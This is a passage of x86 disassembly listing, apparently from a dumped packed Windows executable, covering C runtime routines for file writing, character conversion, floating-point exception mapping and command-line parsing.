loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------

loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]

loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------

loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------

loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9

loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]

loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]

loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD160
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C

loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------

loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch

loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263

loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]

loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182

loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C

loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi

loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDEC, 9
		mov	dword_4DBDF0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------

loc_423220:				; CODE XREF: sub_4230FB+E0j
		call	near ptr 269096Bh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------

loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------

loc_42324D:				; CODE XREF: sub_4230FB+145j
		nop
		call	near ptr 269096Bh
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------

loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------

loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145

loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDEC, 1Ch
		mov	dword_4DBDF0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------

loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------

loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9

loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh

loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE88, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE88, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------

loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB89C
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE88, 2

loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE88
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_423438
; ---------------------------------------------------------------------------

loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_18], eax

loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_4234C5

loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax

loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------

loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 283106Ah
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436

loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9

loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC

loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------

loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBEAC
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBEAC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4D0
		mov	edx, dword_43D4D4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D460h[esi*4]

loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E

loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4DC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4DC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------

loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4DC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------

loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4DC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------

loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4DC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------

loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4DC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------

loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4DC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------

loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4DC, 8Ah

loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4DC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4DC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------

loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBEAC, eax

loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------

loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2620DE9h

loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4D8
		cmp	dword_43D458, edx
		push	esi
		mov	eax, offset dword_43D458
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D458h[esi*4]

loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A

loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D458h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A

loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD3B4, 0
		jnz	short loc_423689
		call	sub_420B0D

loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD3AC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB

loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------

loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5

loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------

loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5

loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF

loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8

loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3B4, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D

loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE44
		xor	edi, edi

loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi

loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------

loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE14, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx

loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE44
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp

loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx

loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx

loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp

loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE44
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE44, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD3B0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3B4, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D

loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		mov	eax, dword_4DD3AC
		mov	off_4DBE24, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax

loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx

loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBE0C, esi
		pop	edi
		pop	esi
		mov	dword_4DBE08, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898

loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD281[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------

loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi

loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------

loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD281[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax

loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898

loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3

loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------

loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0

loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0

loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8

loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7

loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------

loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------

loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------

loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi

loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1

loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx

loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
